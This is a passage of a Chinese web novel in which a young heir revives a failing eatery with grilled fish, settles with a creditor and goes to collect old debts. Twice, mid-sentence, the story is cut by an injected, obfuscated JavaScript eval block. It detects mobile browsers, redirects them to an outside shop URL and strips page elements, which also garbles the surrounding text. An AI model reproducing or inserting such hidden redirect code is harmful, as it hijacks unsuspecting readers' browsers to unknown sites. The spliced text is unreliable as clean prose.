心里这般想着,但双眼还是紧紧盯着温家食肆的炙鱼小摊,香味传来,止不住咽了咽涎水。 他半蹲马步似的看了一会儿,只见炙鱼小摊越来越多人围上去,没一会儿就给围了个全乎,小摊上的大厨都瞧不见了。 面馆老板夫郎从店里出来,瞧见他家相公跟个讨食的老狗似的,脖子伸得老长,舌头都快掉地上去了。 店里没有生意还不去吆喝,光杵在门口瞎看个甚么劲儿。 老板夫郎抬脚朝屁股狠狠一踹,那老板像个被炮仗炸开的牛屎一般飞到了人堆里。 “还不干活儿!偷甚么闲!”老板夫郎大怒。 老板瞪起眼就要骂,眼珠一转,小跑回夫郎身边俏声说:“之前这家吃食这么难吃,现在围了这许多人,这不得试试?” “试个屁!”老板夫郎骂:“你没做过炙鱼?有甚么稀罕的?” 话音刚落,围着炙鱼小摊的人群中爆出几声叫喊。 “来一条尝尝鲜!” “我要两条!” “这都午食了,一两条的能吃饱?打打牙祭罢了。” 温沅闻言,立刻朝郭巴子使了个眼色。 郭巴子正拉着路人吹闲话话呢,吹得兴起时,少东家一个眼神甩过来,他险些喷出一句“你看啥看”。 他甩了甩布斤,冲人群喊:“食肆新出菜品辣烩鱼腩、砂锅焖鲈鱼、白玉鱼汤、鱼蓉粟米羹,配上一碗大米饭,又鲜又香又饱腹喽!” 菜名一报,客人们方知这家除了炙鱼还有午食,然而炙鱼好吃,别的菜品未必可口,一时之间,都有些犹豫。 四文七文打牙祭对他们而言还算能接受,吃顿午食可不止这个价。 有人还在原地观望,郭巴子接到少东家的眼神指示,立即高喊:“温家食肆上新菜品,三日内,只要在食肆内吃够百文,便送一盘炙烤小鱼,先到先吃嘞!” 白送一盘! 有的客人听了伙计的吆喝心一动。 这客人正好是前边开杂货铺的老板,平日没别的爱好,就爱到江边钓鲜鱼吃。 “砂锅焖鲈鱼?好久没吃了,给我来一份!”他拿着两串炙鱼吃得满嘴留香,“要说最好吃的砂锅焖鲈鱼,得去青州城的福香大酒楼,那才叫一绝!” 温沅挑起眉:“那您便是来对了。” 食肆里边来了生意,温沅让陈大立回厨房做菜,炙鱼的活计由吕三娘接手,她虽是打下手的厨娘,但温沅考虑到大厨仅有一位忙里不忙外,就让吕三娘顶上。 温沅吃过吕三娘包的荠菜包子,手艺不错,烤几条小鱼不在话下。 杂货铺老板一进食肆,后边几名犹豫不决的客人一拍大腿,也进去试试,白送呢!这等好事岂能错过?至于新菜品到底好不好吃也得试了才知道,方才那位红头巾进去就没出来过,指不定好吃呢? 进了食肆一看,何止是不出来,那红头巾吃得正美呢,拉着那小伙计嚷嚷着要点新菜品。 客人多起来,光陈大立一人忙不过来,好几次跟陈贵礼说把吕三娘喊进来给他打下手。 炙鱼小摊正红火呢,吕三娘哪里能分身? 那厢温沅一为难,余浪转头扎起袖子去杀鱼。 卖鱼郎,杀鱼是门熟活儿。 陈大立因要做的菜品多,忙起来就止不住想敷衍一二,被余浪盯着,只得老老实实按照之前温沅定下的口味去做,生怕做毁一条鱼,这卖鱼郎能把他当鱼刮了。 往日门可罗雀的食肆,此时热闹了好一阵儿。 面馆老板和夫郎看得眼馋不已,老板夫郎觉得那些人定是花钱请来做戏的,不过几日,那厨子的手艺就突飞猛进了? 谁信呐! “去!买一条回来给我尝尝。”老板夫郎说。 “两条便宜,一条四文,两条才七文!”老板说。 “七文七文!一碗素面才六文!就一条!吃一口尝尝味差不多了,你还寻思着要吃饱啊?”老板夫郎说。 老板捏出四文钱不情不愿地让店里伙计去了,他才不要亲自去买,丢面儿。 等了许久,那伙计终于拿着新鲜烤出的小鱼回来,这香味离远了香,近了更是香。 他刚要接过,就被夫郎截了胡,“哎——” 老板夫郎一口咬下,神色都变了,一眨眼,半条鱼没了,鱼骨都不剩。 老板气得抢过来,咬了一大口—— 不得不承认,这炙鱼跟以往吃的都不一样,真是别有一份风味。 “气死我了这破鱼也太好吃了!那吕三娘手艺什么时候变这么好了?气死我了……” “叽里咕噜说什么呢,吃完给我擀面去!”老板夫郎夺过小鱼踹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224308|197551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了他一脚,转头掏出七文钱给伙计,“去,再买两条,我就不信了,这还能每一条都好吃?” 温沅搬了个高凳坐在小摊子旁,听着人群高高低低的议论声,时不时把瓷碗里的铜钱倒入钱袋中。 这里人多,容易招惹些手脚不干净的偷子,转个头的瞬间就能顺走一把,一把没了可就白干了。 他想了想,瓷碗放着还是太招摇了,干脆起身收铜钱。 原先想趁机少给一两文钱的客人见状,只得又摸出铜钱。 没多久钱袋就差不多装满了,拿在手里沉甸甸的。 光听响儿,温沅心里的不安与紧张总算可以歇一口气。 这是个好的开头。 今日开门前,食肆每个人都起得极早,余浪更是天不亮入江捞鱼。 周七豆和郭巴子早早将食肆打扫干净,吕三娘和陈大立把今日用到的菜一一洗净,里里外外忙活了许久,就连陈贵礼都按时来上工了。 不敢说所有人齐心协力,但明面上无人敢拖后退。 钱袋装满后,温沅回到食肆,打算把铜钱倒入钱匣里,刚跨过门槛,便闻有一客人喊:“老板,菜怎的还没上?这也太慢了些!” 温沅连忙安抚道:“稍等,我去催一催。” 他原以为菜还未做好,谁料菜品堆在厨房门外的木柜上,周七豆和郭巴子又是点菜又是收拾桌子忙得脚不沾地,来不及送菜。 转头一看,掌柜的靠着柜台在发愣。 “陈掌柜莫不是听不到客人们的话?”温沅皱着眉。 陈贵礼惊醒,慌忙说:“少东家,我不在这处,一会儿结账无人收钱呢,这不好走开。” “现下可有人结账?”温沅问他。 陈贵礼一噎,万般不情愿地去上菜,菜端上桌,那客人一瞧,“这不是我点的菜,上错了吧?” “那是我的菜!”另一位客人说。 陈贵礼又得端过去,自他做了孙家食肆的掌柜,这番客座满堂的景象好些年没见过了。 细数起来,怕是三年前的事。 震得他回不过神的。 他没想到温沅的试菜真有些能耐,刚刚收钱时人太多,具体收了多少位客人的钱也不知道。 真的想立刻数一数到底挣了多少钱。 陈贵礼心里焦急又不得不按捺下来,这小少爷不过是运气好,炙鱼味香当然引得客来,这只是一时的,且今日卖都是鱼,再怎么挣也不可能挣上一两银子。 可看着满堂宾客,他不由得有些嫉妒,凭什么这小少爷运气这般好? 再看那小少爷什么也不做就顾着收钱的模样,陈贵礼气得脑壳疼。 凭啥他一大掌柜就得给人上菜端茶送水! 上完了菜,他回到柜台刚要数铜钱,又听温沅说。 “陈掌柜,”温沅折扇一点,“那是东五雅座上客人点的鱼蓉粟米羹,还有西三座的猪油春笋。” “来、来了……”陈贵礼不得不放下手中算盘。 杂货铺老板吃完到柜台前付账时,嘴一抹,“掌柜啊,你家这砂锅焖鲈鱼,味道真是正!自从出了青州城,我再没吃过这般正宗的味儿了,甚是怀念啊!” “真这般好吃?”陈贵礼满脸不信,他只在刚开始试菜的时候吃过,后面就没再关心过菜品究竟好不好。 “夸你家菜好吃,你还不信了?”杂货铺老板说。 陈贵礼脸色一变,“那自然不是……” “再给我包一份,我要带给家里娘子吃。” 杂货铺老板拎着食盒出门,刚走不远,又走回来对温沅说:“温老板,明日多留几条鱼,我要订一桌全鱼宴,我有几个朋友全是钓鱼好手,吃鱼讲究,得给我备够菜啊。” 温沅一愣,惊喜道:“您且来,定给您备好!” “生意兴隆啊!”杂货铺老板笑道。 8. 食肆整治(八) 菜肉行。 张屠户忙着下刀切肉,一刀下去就是四斤半肥瘦的五花肉,不多不少,他拿过一旁的麻绳串肉,正好听闻客人聊起温家食肆的热闹。 他这两日正想着再去找那姓温的少爷,骤然听到温家,随口问道:“温家食肆?哪条街巷的温家?” 那客人回道:“便是七里街原先叫‘孙家’的那一家,今日生意可红火。” 孙家? 不就是欠了他不少债的那一家? “当真红火?”张屠户自是不信,那小少爷看着就没什么本事,那日要不是余浪出手,也不能让人跑了。 “摆了个小摊做炙鱼,引了不少人去呢,倒是好手段。” 张屠户一把将菜刀钉在砧板上,决定拉上人去温家食肆看看。 既然生意红火,就该还钱了! 温沅让郭巴子把客人带进去,一转头便看到张屠户四人气势汹汹地朝这边走来。 一看到这几人,被追得脚酸腿软的感觉又回来了。 他连忙把周七豆招呼过来,“七豆,把余□□出来。”说完张屠户等人已到跟前。 四人各自打量着食肆,张屠户双手叉腰正要说话,被温沅抢了先。 “张哥,里边请。”温沅笑道,“三娘啊,给几位烤两盘小鱼。” 张屠户没耐心跟他瞎扯,几步上前就想发难,却见一高大健壮的汉子从食肆内走出,默默站到了温沅身后,单手背在身后,神情淡然。 一见到那个高大健壮的汉子,张屠户登时想起那日的破竹,眼睛都不舒坦了。 这厮竟然真被这温少爷收下。 四人均想起那日打的架,一时之间真不好动手。 周围客人投来目光,议论纷纷。 趁着这个档口,温沅把人带了东六雅间,这是食肆唯一的雅间,门一关,里边发生了什么都无人得见。 张屠户压着气看了余浪一眼:“温少爷玩的什么把戏?别以为把人叫来就不用还钱了。” “自然不是,钱肯定会还。”温沅撩起衣摆坐下,笑道:“不过几位来了,怎么也得请几位吃顿饭,也谢谢几位给食肆赊账。” 说到肯定会还钱,几人都不太相信。 这时,周七豆端着两盘烤小鱼进来,刚出炉的炙鱼威力不容小觑。 带着清酸的食物总会让人忍不住口中生津,误以为自己肚饿发馋。 张屠户等人咽了咽口水,脸上松动不少。 “请。”温沅把小鱼移到四人面前。 张屠户等人对此不屑一顾,这点小恩小惠妄想收买他们! 温沅并不将他们的态度放在心上,继续说:“有什么事,也得先吃了饭再说,炙鱼放久味道可就变了。” “几条小鱼就想打发……”张屠户拿起咬了一口,“嗯?” 这味道不对啊? 他来食肆多次,还是第一次吃到这样口味的炙鱼,怪不得外头这么多人买。 炙烤小鱼刚吃完,几道硬菜辣烩鱼腩、砂锅焖鲈鱼、白玉鱼汤纷纷上桌,最后端上来一大盆大白米饭,量足管饱。 白送的晚食,不吃白不吃。 张屠户等人顾不上来之前的目的,闻着香大快朵颐。 吃完后,张屠户颇为意外地看了温沅一眼,这少东家看着年纪不过十六七,厨子这么烂的手艺都能被他救起,还挺有本事。 再看那如同煞神般的余浪,也不知使了什么手段,竟让其心甘情愿留在食肆做工,还给食肆供鱼。 一时间,对温沅的印象都改观不少。 “张哥,这新菜品如何?可还合口味?”温沅笑问。 张屠户用鱼刺剔了剔牙缝,哼了声:“也就那样。”说完舍不得把剔出的鱼肉丢掉,砸吧砸吧吞了。 温沅抽出折扇点了点桌面上的一碟菜,“这是时下最鲜嫩的鲈鱼,一盘五十五文,最肥美的鱼腩,一盘五十二文。” “食肆以前的确是千疮百孔,一滩烂泥,但现在欣欣向荣,一片光明,焕发新生——” “这价钱和别家食肆有什么区别?说到底,还是没钱,对吧?”张屠户一拍桌子。 余浪皱了皱眉,抬眼看去,张屠户倏地收回手。 “哎,别拍,鱼汤都被你拍撒了。”和张屠户一同来的人说。 “……”张屠户瞪了他一眼,“吃吃吃,就晓得吃!” “我瞧温少爷说得不错,就这味道,来日肯定能还钱。” 张屠户哼了一声没说话。 没说话就是有回旋的余地,温沅冲他笑了笑。 “既然没钱,逼死你也没用,之后我要时不时来你这瞧瞧,看看是不是如温少爷所说的欣欣向荣一片光明焕发新生。”张屠户说。 “欢迎光临。”温沅笑说。 温沅起身把人送走,走之前又一人送了两条炙鱼。 张屠户等人怒气冲冲地来,喜气洋洋地走。 “方才若是没有你的武力威胁,怕是不好把人送走。”温沅说。 余浪偏过头看他:“少爷,你想岔了。” “嗯?”温沅不解。 “他们是被你所做所说劝走的。”余浪说:“如若没有少爷严格把关的新菜品,他们不会相信食肆有希望。” “希望啊……”温沅喃喃道。 天边染上昏黄,街市上的行人渐渐变多,对于辛勤劳累了一天的人们而言,无比期待吃上一顿美味的晚食。 喷香可口的菜饭下肚,所有的疲惫统统散去,只剩饱腹后的松快。 因此,挑选一家好食肆美美地吃上一餐,尤为重要。 这时,焦香味传来,本就饿得肚子咕咕叫的路人脚步一转,径直往温家食肆去。 一整桶小鱼见了底,犹豫不决的几位客人闻言立即要了最后几条小鱼。 后边赶来的客人:“没了?我下了工特意赶来,竟然没了!” 七文买两条刷油上酱的炙鱼,鱼是新鲜的,油是实打实的,酱汁是入味的,这样的好事不常有,结果没买到! “真没了?莫不是骗人?” “今日第一回做,备得不多,您若喜欢,可明日再来。”温沅说。 后面没赶上趟的客人听了此话,七嘴八舌喊着明日一定多烤些。 晚食过去,食肆最后一位客人离开,忙活了一整天的伙计们累得趴到了四方桌上。 这多少年没干过这么多活儿了,坐下的那一刻,双腿和双手似乎都不是自己的,抖得不像话。 郭巴子气若游丝:“再来一天,我会死。” 周七豆欲言又止。 “你想说甚?”郭巴子问他。 “食肆若是变好,这样的日子天天都是。”周七豆说。 “我就不爱跟你说话。”郭巴子说,“闭嘴吧。” “今日客人对新菜品都很喜欢。”周七豆到食肆当伙计这么久,首次见到这样热闹的场景,心里一直很兴奋。 “那不都是靠我?”陈大立得意道:“要没有我,哪有这么客人喜欢?” “那也是因为少东家试了菜啊……”周七豆小声说:“之前哪有这样。” 陈大立顿时不爽:“他就出张嘴,没有他我也能做,我之前就是不想做,你以为我不会?我会的多着呢!你个小哥儿你懂个屁!” 周七豆抿了抿嘴,没和他争辩,起身到外头和吕三娘一块儿收拾烤炉。 “狗腿子,就知道给少东家说好话。”陈大立啐了一口。 郭巴子趴在桌上翻了个大白眼,等歇够了才慢吞吞起身去打水擦桌子。 下工的时间到了,陈贵礼也没走,全心留意少东家什么时候算账,等温沅拿出钱匣,他立马凑了过来。 温沅开始算账,今日接待了约莫十八桌客人,过百文的客人有十桌,剩下的大多在八九十文,拢共收到二千零八十七文。 而外边的炙烤小鱼卖了有一百多条,四百三十文。 加起来是二两五钱十七文。 天呐! 食肆多久没挣过这么多钱了! 温沅提笔写完最后的账目,自己都懵了,他想到今日挣得不会少,但也只是想着能有个一两多足以,谁知竟超过了二两! 若是每日都能挣二两,何愁还不上钱! 陈贵礼瞪大双眼,顾不上别的,拿过算盘和账簿自己算了一遍,两遍 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“那就是大鱼三百二十二文,小鱼一百五十文。”温沅记下成本。 除开鱼,还有柴米油盐酱醋和香料,这些花了三百四十文,青菜花了六十九文。 人工也得算上,食肆里的人不少呢,光是掌柜,一个月就得四两月钱,大厨三两,伙计一两,而余浪的月钱没正式说过。 按护院来算月钱,少说得二两,这毕竟是份容易打架受伤的活计。 这样算来,人工得四百文。 成本拢共一千二百八十一文。 最后余下一千二百三十六文。 听起来似乎不少,但因为食肆不用给铺租,省去了铺租的钱,要是将铺租和商税算上,这个收入对于一家食肆而言只能算正常范围内。 且今日赠送小鱼引客,才能引来这么多客人,之后不再赠送小鱼,兴许会低一些。 但无论如何,第一日能挣到这么多,真真是令人惊喜! 食肆其他人听到这个数目,那一瞬间都愣了。 吕三娘拉了拉周七豆的袖子,小声确认了一遍:“真是有一两二钱?” 周七豆呆呆地回:“好、好像是……” 吕三娘开始掰手指:“若是天天如此,是不是不用卖食肆了?” “是吧……”周七豆也不知道,但心里止不住高兴。 “这才第一天,只卖鱼不是长久之计,不过是回光返照罢了。”陈贵礼瞧不上他们的目光短浅,“食肆不卖能有什么出路。” 周七豆和吕三娘被掌柜的泼了冷水也没放心上,吕三娘忍不住回道:“少东家这般厉害,肯定会长久,食肆不卖。” 说完怕陈贵礼骂人,拉着周七豆走了。 “短浅!”陈贵礼呸一口,转头看到郭巴子在一旁看好戏,“犯什么懒?还不快干活儿去!” “干一天累死了,再说偷懒的是谁啊……”郭巴子背过身做了个怪脸,“下工下工,吃饭吃饭。” 陈贵礼脸都气歪了,直接收拾东西下工,走之前想把陈大立一块儿带走。 “叔父,少东家让我做好鱼吃呢,走这么早做甚?”陈大立说:“走了岂不是亏了?” “呸!”陈贵礼走了。 温沅收好账簿,转头看向余浪:“今日着急回家么?要不要留下吃晚食?” 余浪顿了一下,“好。” 温沅看他犹豫,想也没想就问:“家里有人等?”问完似乎意识到自己不该多问别人的私事,“抱歉,我——” “不是,没人等。”余浪说:“家中只有我一人。” “啊。”温沅不知该回什么好。 余浪看他尴尬得耳根都红了,失笑道:“少爷想知道的,我都可以说。” “也不用……”温沅无意打听别人的家事,刚刚也不知道怎么就多问了一嘴。 余浪笑着看了他一眼,有没有继续说。 温沅有些不自在,抽出折扇摇了摇:“吃饭去!” 9. 食肆整治(九) 第一日的炙烤小鱼广受欢迎,第二日余浪带来了四十多斤小鱼,二十八条大鱼,量绝对管够。 吕三娘早早把鱼腌上,周七豆和郭巴子把烤炉摆出去,没过多久,就有客人过来排队。 午时刚到,昨日定下全鱼宴的杂货铺老板带着五位好友如约而至。 “温老板,今日的鱼可是备够了?” “您尽管放心。”温沅把人带到东六雅间,吩咐周七豆上茶。 这可是重要的客人,伺候好了吃得美了,兴许能成为常客。 往常食肆都是一锅水泡几片茶叶,泡出的茶水毫无颜色,更别谈什么茶香。 温沅看不过去,特意拿钱让陈大立买了些大麦茶。 大麦茶清爽解渴,茶香四溢,一杯下肚解油解腻,最重要的是便宜,大多数食肆茶摊备的都是这个茶叶。 周七豆捻了一撮茶叶放入壶中,热水一冲,茶水有了色。 上完茶再点单。 雅间的客人不吝啬,一流菜名报过去,要了足足九个菜,且各个是硬菜。 他到后厨西门报菜名,报完后,见少东家叫他,连忙走过去。 “从前你们都是这般报菜名的?”温沅问。 周七豆点了点头:“是的。” “像今日这般点的菜多了,后厨能记住?”温沅再问。 “这……”周七豆挠挠脑门,“我也不知。” “先前有没有给客人上错过菜?” “我来食肆时,客人不像现在这般多,少有上错的时候。” “人多可就难说了。”温沅皱了皱眉,挥手让周七豆去忙了。 在青州城大酒楼吃饭时,温沅曾见过一种竹片子,上面画了小图案写了字,伙计会将对应客人点的菜的竹片挂到后厨木板上。 木板上的挂钩和酒楼的雅座相对应,哪一桌点的菜就挂到哪一个钩子上,大厨根据钩子的排序去做。 大酒楼的后厨一般分得较细,做肉菜、做素菜、熬汤、点心、刀工等等,甚至还会专门请一位记忆力好的帮厨专门记菜。 但食肆没这么多人,吕三娘一个人忙烤摊,后厨只有陈大立,记菜名这样的事多是周七豆和郭巴子边唱边记。 周七豆负责的是西边三张雅座,而郭巴子负责的是东边两张雅座,今日东六雅座来的人多了,郭巴子趁机换到了西边去,东边就交给了周七豆。 周七豆点单结束时唱一遍,这是为了让客人确认点的菜有没有错,到了后厨西门再高声唱一遍,这是为了让后厨知道要做的菜且让客人再一次确认菜品。 待到上菜时,还得再唱一遍,这一遍遍的报菜名,让食肆有一种热热闹闹的氛围,彷佛客人多到坐不下,点的菜多到放不下。 目前食肆的客人桌数并不多,一桌客人多时也就四个菜,少时就一碟菜一盆饭,光是周七豆和郭巴子两人足以。 不过温沅相信以后的客人不会少,因此竹片子还得早早备上。 他跑到后院找余浪。 余浪正忙着杀鱼,只见他手一划,鱼鳞片片掉落,水一冲再换面,剖开鱼腹掏出内脏清洗干净,最后来几下花刀就杀完了。 他把鱼放到瓷盘上就捞起一条新的,头也不抬地说了一句:“少爷,站远些。” 温沅停了下来:“怎么了?” “水脏,有腥味。”余浪抬起了头。 温沅闻言往后退了一步,展开折扇摇了摇:“你要不说,我都没注意到。” 他想了想,又说:“平时在你身上,好像闻不到鱼腥味。” 余浪手肘撑着膝盖看了他一眼,莫名挑了挑眉头。 温沅说时没多想,被他这么一看,扇子摇得更快了:“怎么?” 余浪测了侧身,把腰间垂挂的物什展示出来,温沅低头一看,看到那串熟悉可爱的小贝壳,小贝壳旁边还有一个绣着鱼样的香囊。 香囊下面坠着一颗小珠子,刚刚余浪侧身的时候,小珠子和小贝壳还碰撞出了细碎的小动静,不仔细听听不见。 “新做的香囊,里边是茶香。”余浪说。 温沅一愣,“……做香囊?你?” “嗯。”余浪说:“我。” 温沅难以想象这么高猛的男人拿着绣花针缝香囊是什么样,“你不是卖鱼郎么?竟然会做这个。” “上回的招幌就是我绣的,少爷忘了?”余浪说。 “我还以为那是你家里人——”温沅停了下来。 “不是。”余浪看着他。 温沅将心比心没有多问,也不肯承认自己心里徒然升起了些好奇。 余浪说:“我对爹娘没有记忆,是继娘养大了我,听她说,我爹抱着我逃荒到了垌渔村,后来入赘到了她家,没多久我爹就没了。” “她是垌渔村最厉害的渔娘,教了我许多手艺,打渔绣花拳脚功夫。” “功夫?”温沅微讶。 “嗯。”余浪点头:“阿娘水上功夫很厉害,打架一般但是她懂的多,我按她说的练,才懂了些拳脚功夫。” 这是懂一些拳脚功夫么?能大闹丁家食肆,还能在十几个汉子中全身而退,这不止是“一些功夫”了吧? “她可真厉害。”温沅说。 “是。”余浪笑了一下。 温沅听着说不上心里什么感觉,他只知道他很羡慕。 同样是没有血缘关系,可他始终不被划分到“家人”的范围里,少时总以为爹娘忙碌顾不上他,直到真相被剖开。 他没敢再问余浪为什么家里只剩他一个人。 余浪似是看出了他的想法,接着说:“三月前,阿娘因病走了,所以现在家里只有我。” 温沅张嘴半晌,最后说:“节哀。” “少爷。”余浪挑起眉,“这是我主动说给你听的,你不需要觉得抱歉。” “你平时都这么……”温沅斟酌了一下:“善解人意?” 余浪有些好笑地看着他,反问道:“少爷觉得呢?” “可能?”温沅被他笑得用折扇遮住了半张脸。 “少爷刚找我什么事?”余浪问。 “险些忘了。”温沅想起来意:“我想请你砍些长竹做竹片子,上面简单画点菜品再写上字,每样菜品做十个,不过这个不急。” “行。”余浪说。 说是不急,但余浪在三日后天不亮就把长竹带来了,他一人肩扛两根粗壮长竹,竹子两端挂着两个大鱼篓,步伐轻快,一眨眼就到了食肆后门。 他进了后院把竹子和大鱼篓放下,转头看到小少爷窝在小椅子里吃包子,一口接着一口的,两腮塞得鼓鼓的,像只抱着松果啃的小松鼠。 “少爷。”余浪看了一会儿,走过去,“竹片子要做多长?” 温沅把最后一口包子塞进嘴里,想了想,伸出一只手掌:“这么长吧,一指半宽。” “好。”余浪转身到柴房找刀。 温沅吃饱了有些犯懒,一直窝着没动,就这么看着余浪进进出出。 余浪干活儿的时候,有一种说不出的利落,那双手也不知怎么长的,又长又粗的竹子到他手里,几下就成了段。 “你从小就做这些?”温沅问。 “嗯。”余浪点头,“编鱼篓用的都是竹子。” 温沅颇为意外:“那不漏水的鱼篓也是你编的?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224310|197551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是,有时不卖鱼就卖竹篓竹席。”余浪说。 “那你会做竹编的小鱼么?就是这样……” 温沅试着比划了一下,想起从前偷偷跑出府,到街上看到别人卖竹鱼,他带着一堆钱能买成千上百条,只是没人和他玩,买了也没用。 乃至于后来说不上遗憾还是后悔,总觉得那时他应该买一条,没人和他玩,便自己玩。 自己玩,也一样有乐趣。 余浪没说话,过了一会儿,他用长竹子勾着一个竹篾编成的小灯笼挑到了温沅面前,灯笼上插着一片竹叶,里面赫然放着一条竹编小鱼,小鱼尾巴是用竹皮做的,薄如蝉翼。 温沅慢慢睁大眼眸,“你的手也太快了……” “少爷喜欢么?”余浪问他。 “喜欢喜欢。”温沅眉开眼笑,轻巧地摘下小灯笼,放到掌心上细细看,越看越欣喜。 余浪看了一会儿小少爷细长微弯的眼尾,低头继续干活儿。 食肆现在不卖早饭,只做午食和晚食,午食要卖的炙鱼得早早腌制上,吕三娘一次性杀了二十几条小鱼放去腌,腌好了再回来继续杀。 三十多斤的小鱼处理起来得花不少时间,周七豆忙完了大堂的活儿也过来帮忙。 后院所有人都各自忙着,唯有温沅懒洋洋地窝在椅子里玩他的竹笼小鱼。 这时,采买回来的陈大立拉开后门,对温沅说:“少东家,我方才在路上碰到张老头,他说近一个月都不能给咱们食肆送菜。” 张老头是青苗寨的张阿爷,往常食肆的青菜多是由他送上门。 温沅皱了皱眉:“为什么?” “说是菜都让丁家食肆订完了。”陈大立说。 所有人都抬起了头。 “一个月都订完了呀?”吕三娘惊讶,“那菜可多呢。” “那这段时间你到菜肉行采买。”温沅说:“按现有菜牌上的菜品买。” “知道了少东家。”陈大立得了采买的活儿挺高兴,搓搓手,“那今天的菜钱?” “等等。”温沅起身去大堂柜台拿钱。 大堂里郭巴子坐在长椅上撑着下巴打瞌睡,听到脚步声一下蹦起,连忙拿布巾擦桌子:“少东家。” 温沅应了一声,从柜台下拿出钱匣,一本破旧的账簿从柜子里边掉了出来。 他捡起来拍了拍封面,竟是本没见过的账簿。 翻开一看,里边记录的全是来食肆吃饭赊账的客人。 有的客人还了赊,赊了还,慢慢清了账,有的赊账后,便没了还账的记录。 林林总总累计下来,有十五两之多。 这么多钱,全部追回来就能还一半债款! 这时陈贵礼从门外进来,一眼看到温沅手中的账簿,登时停了下来,这本账簿他明明藏到柜台最里边了,怎么会被翻出? 温沅抬起头:“陈掌柜,这账簿是怎么回事?” “这……”陈贵礼堆起笑走过去,“少东家刚到食肆时,说起要卖食肆,我就只顾着整理食肆的进出账簿,倒是把这个给忘了。” 温沅蹙起眉:“不管食肆卖不卖,赊出去的账都得还。” 真让你拿到这笔债款,你还能卖食肆? 陈贵礼讨好地说:“是是,少东家说得对,都怪我疏忽,下次我一点注意,一定。” 温沅没再多说,从钱匣里数出一百文给郭巴子,“把钱给陈大立采买,再让余浪过来。” “好嘞!”郭巴子瞅了眼陈掌柜的神色,接过铜钱转身去了后院,没多久余浪来了大堂。 “少爷找我?”余浪问。 “对。”温沅拍了拍账簿,“随我追债去。” 10. 食肆整治(十) 温沅翻开账簿,点了点上面的地址,“东塘里街六巷李家,你可识路?” 余浪点头:“认识。” “行,走!”温沅喜道。 孙家食肆离东塘里街不远,走过去约莫两刻钟。 这会儿正值早市最热闹之时,许多挎着菜篮出来采买的妇人夫郎围在菜摊边上讲价。 细细听来,其中不乏各家食肆帮厨出来采买一天用的食材。 讨价还价的声音不绝入耳。 温沅一路走过,被迫记住了白萝卜三文钱一斤,蔓菁苗两到八文一把,马兰头三文一斤,野山椒十文一斤…… 这条街摆的多是菜摊,他没敢往菜肉行去,生怕遇到张屠户等人。这条街的尽头是逍遥赌坊,拐过赌坊便是东塘里街。 李家很好找,木门被横七竖八劈了数条刀痕的那一家就是。 温沅看着刀痕皱了皱眉头,刚想敲门,里头便传来一阵急促的脚步声,紧接着木门“唰”地被拉开。 一个乱发齐飞满脸络腮胡的瘦汉子出现在眼前。 “请问——” 温沅一句话没说完,瘦汉子慌慌张张地想要甩上门,被余浪一掌按停。 瘦汉子用力推了几下,纹丝不动,咽了咽口水,吼道:“你、你们谁啊!” “我是孙家食肆的东家。”温沅开门见山道:“之前你在食肆欠下酒钱拢共二两五钱许久未还,可还记得?” 瘦汉子一听,快速道:“你们认错人了!我不是什么李大富!” “我可没说你叫李大富。”温沅说。 李大富:“……” 余浪一把推开门,李大富被撞得后退了几步刚想开口叫骂,一抬头对上余浪黑沉的眸子,顿时噤了声。 温沅扫了一眼李家院子,晾衣架上挂着几件破烂衣裳,有大有小,除此之外,院子还算整齐。 此时堂屋里探出两个小脑袋,他刚看过去,小脑袋立即缩了回去。 他收回目光,翻开账簿,“二两五钱,还请清一下账。” 就在这时,一位妇人拿着扫帚从里屋冲出,对着李大富就是一顿打,“李大富你又去赌你又去赌!这个家迟早要给你输没!” 李大富连忙闪躲,“臭婆娘,你再敢打一下试试!你再打老子把你那小哥儿卖了!” “畜生!”妇人怒至极点,一个劲儿往李大富脸上招呼,“你敢卖,老娘跟你拼命!” “我怎么不敢!”李大富一把扯住扫帚,狞笑着叫:“小畜生就是个灾星,自打他出生,老子手气就没好过!老子迟早卖了他!” 温沅呼吸一窒,攥着账簿的指尖蓦地发白。 余浪蹙眉,低声唤:“少爷?” 温沅没说话,看着李大富躲开妇人回屋扯了个约莫两三岁的小哥儿出来,“你们不是要钱么?我把他卖给你们!肯定够还债了。” 小哥儿惊恐地往后退,拼了命地挣扎,后边跟出来的小汉子抱紧小哥儿,用力捶李大富的手,“放开放开!不许卖弟弟!走开!” “天杀的李大富!老娘跟你拼了!啊——” 温沅用力攥紧了账簿才克制住没把账簿甩到这人脸上,转过身低声说:“走吧。” 余浪扫了眼混乱的院子,跟着温沅走出去。 温沅快步走出院子,然而叫骂声不罢休地从后方追过来,不由分说地刺入耳中,他深吸了一口气,越走越快。 待到出了巷子,才猛地止步。 “……少爷?” 余浪离他两步远默默跟着,保持着合适的距离。 “……”温沅捂住额头叹了口气,抬起头笑笑,“要债还真是不易,这家不成,下一家罢。” 余浪看着他,“好,下一家是哪里?” 温沅翻开账簿,“下一家在——” 西塘里街一巷,钱老爷府邸。 来开门的是钱府管家,一听来意,哼道:“你家食肆做的香菇焖鸡那就一个难吃,还好意思上门要钱呢!” 温沅想到刚到食肆时吃过的面,不得不说,钱管家的话不是没有道理,但是…… “您觉得难吃退回便是,既然收下,还是得算清账。” “没有!”说罢想关门赶人,被余浪一脚卡住了大门,钱管家:“你干什么!抢钱啊!” “清账。”余浪说。 